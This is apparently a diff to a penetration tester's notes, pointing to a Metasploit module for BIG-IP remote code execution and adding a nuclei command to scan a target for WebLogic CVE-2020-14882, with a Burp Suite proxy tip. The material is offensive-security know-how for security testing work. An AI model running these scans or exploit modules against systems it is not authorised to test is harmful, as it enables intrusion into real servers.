 #### BIGIP RCE
 we can use Metasploit Module https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4

+## Scanning Weblogic CVE-2020-14882
+Nuclei Module
+```bash
+nuclei -t nuclei-templates/cves/CVE-2020-14882.yaml -target http://<IP>
+```
+This module sometimes fails, use -proxy-url http://127.0.0.1:8080 to redirect traffic into Burpsuite and investigate.
